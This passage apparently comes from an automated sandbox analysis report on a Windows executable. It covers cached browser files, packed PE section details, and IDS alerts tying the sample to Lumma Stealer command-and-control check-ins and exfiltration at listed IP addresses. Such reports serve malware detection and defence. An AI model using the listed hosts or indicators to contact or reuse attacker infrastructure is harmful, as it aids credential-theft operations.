SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948213523240975
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'884'672 bytes
MD5:	de0479866482075eead948de5ed353ef
SHA1:	817c54ba06830e3fa579bb53b21d95ce2af37e80
SHA256:	508dc6038db822c21cce37bc9aac1694637abe532b5edf89942a829074639e0d
SHA512:	9bd2cf13a30cdc2836fa82ec056db9ca0c9f94ce7e1d0446d0a72e1d3b985c09ba2aeaf5099ad79eb8450c68e76c01aeca03cf6a1715d5cad6eeac7280b7f2f3
SSDEEP:	49152:dyZ0LhvK2N2bVIhhltp0+JmnUQ98FgVX5bNpM:s0LZN2bVIhhloomntmFgrb7
TLSH:	9D953306196258A9C3184D3805D2C21FD7BDA68B3CD712A34D8CA7BC8DFA7DA923753D
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g..............................J...........@...........................J...........@.................................\p..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a9000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673B72E6 [Mon Nov 18 17:01:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F137530B20Ah
push fs
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F137530D205h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
inc dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5705c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x571f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x55000	0x25e00	29e1addeac97e6f8afc696fb733c0d55	False	0.9974409550330033	data	7.97602677470953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x56000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x57000	0x1000	0x200	b32b7c4ad821f82288405a0d11e75f2f	False	0.15625	data	1.1076713340399604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x58000	0x2ad000	0x200	55a3d446286eb3ec8adab8702fa9e192	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tnkncgci	0x305000	0x1a3000	0x1a2800	d8c94a9edf4845524ae538edf9ad2eb3	False	0.9944953143667862	data	7.95393893615874	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cnokmuhz	0x4a8000	0x1000	0x600	4de01f804a6ac7aeb393cfbcc5c370ce	False	0.59765625	data	5.116337521908409	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a9000	0x3000	0x2200	0148fe53bc8b8daca7ab5cba8df643bb	False	0.06652113970588236	DOS executable (COM)	0.8925156205529379	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T01:18:25.287485+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49722	188.114.96.3	443	TCP
2024-11-20T01:18:25.792503+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49722	188.114.96.3	443	TCP
2024-11-20T01:18:25.792503+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49722	188.114.96.3	443	TCP
2024-11-20T01:18:26.367074+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49724	188.114.96.3	443	TCP
2024-11-20T01:18:26.790753+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49724	188.114.96.3	443	TCP
2024-11-20T01:18:26.790753+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49724	188.114.96.3	443	TCP
2024-11-20T01:18:27.469115+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49735	188.114.96.3	443	TCP
2024-11-20T01:18:28.703360+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49741	188.114.96.3	443	TCP
2024-11-20T01:18:30.052915+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49752	188.114.96.3	443	TCP
2024-11-20T01:18:31.486706+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49764	188.114.96.3	443	TCP
2024-11-20T01:18:31.865834+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49764	188.114.96.3	443	TCP
2024-11-20T01:18:32.850766+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49775	188.114.96.3	443	TCP
2024-11-20T01:18:36.460367+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49797	188.114.96.3	443	TCP
2024-11-20T01:18:36.904479+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49797	188.114.96.3	443	TCP
2024-11-20T01:18:37.620471+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49807	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 01:18:15.814572096 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:15.814599991 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:15.814611912 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:15.814624071 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:15.814639091 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:15.814687014 CET	49708	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:15.814780951 CET	49708	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:15.814862967 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:15.814883947 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:15.814894915 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:15.814928055 CET	49708	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:15.814958096 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:15.814963102 CET	49708	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:15.815548897 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:15.815608025 CET	49708	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:15.882852077 CET	49711	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:15.882951975 CET	49711	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:15.887732983 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:15.887806892 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:15.887944937 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:15.887954950 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:16.725771904 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:16.725800991 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:16.725816965 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:16.725832939 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:16.725852013 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:16.725994110 CET	49711	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:16.726021051 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:16.726053953 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:16.726072073 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:16.726078033 CET	49711	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:16.726078987 CET	49711	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:16.726089001 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:16.726106882 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:16.726120949 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:16.726146936 CET	49711	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:16.726178885 CET	49711	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:17.056085110 CET	49708	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:17.056180000 CET	49708	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:18:17.060945034 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.060992956 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.061089039 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.061101913 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.061114073 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.479989052 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.480021954 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:18:17.480043888 CET	443	49708	40.126.32.72	192.168.2.5
